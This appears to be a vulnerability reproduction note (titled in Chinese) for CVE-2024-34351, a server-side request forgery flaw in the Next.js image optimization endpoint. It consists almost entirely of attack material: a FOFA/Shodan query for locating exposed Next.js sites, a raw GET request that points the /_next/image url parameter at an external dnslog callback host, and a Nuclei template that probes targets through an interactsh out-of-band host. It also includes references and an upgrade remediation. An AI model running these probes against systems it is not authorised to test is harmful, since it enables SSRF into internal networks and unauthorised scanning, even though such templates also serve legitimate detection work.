CVE-2024-34351 漏洞复现 poc

body="/_next/static"

GET /_next/image?w=16&q=10&url=http://tvq938xd.dnslog.pw HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

id: CVE-2024-34351info:  name: Next.js - Server Side Request Forgery (SSRF)  author: righettod  severity: high  description: |    Next.Js, inferior to version 14.1.1, have its image optimization built-in component prone to SSRF.  remediation: Upgrade to Next.js version 14.1.1 or higher.  reference:    - https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps    - https://nvd.nist.gov/vuln/detail/CVE-2024-34351    - https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g    - https://github.com/vercel/next.js/commit/8f7a6ca7d21a97bc9f7a1bbe10427b5ad74b9085    - https://github.com/vercel/next.js/pull/62561  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N    cvss-score: 7.5    cve-id: CVE-2024-34351    cwe-id: CWE-918    epss-score: 0.00062    epss-percentile: 0.26843  metadata:    max-request: 2    product: next.js    shodan-query:      - http.html:"/_next/static"      - cpe:"cpe:2.3:a:zeit:next.js"    fofa-query: body="/_next/static"  tags: cve,cve2024,vercel,nextjs,ssrfhttp:  - method: GET    path:      - '{{BaseURL}}/_next/image?w=16&q=10&url=http://{{interactsh-url}}'      - '{{BaseURL}}/_next/image?w=16&q=10&url=https://{{interactsh-url}}'    stop-at-first-match: true    matchers-condition: and    matchers:      - type: word        part: interactsh_protocol        words:          - 'http'      - type: word        part: body        words:          - "The requested resource isn't a valid image"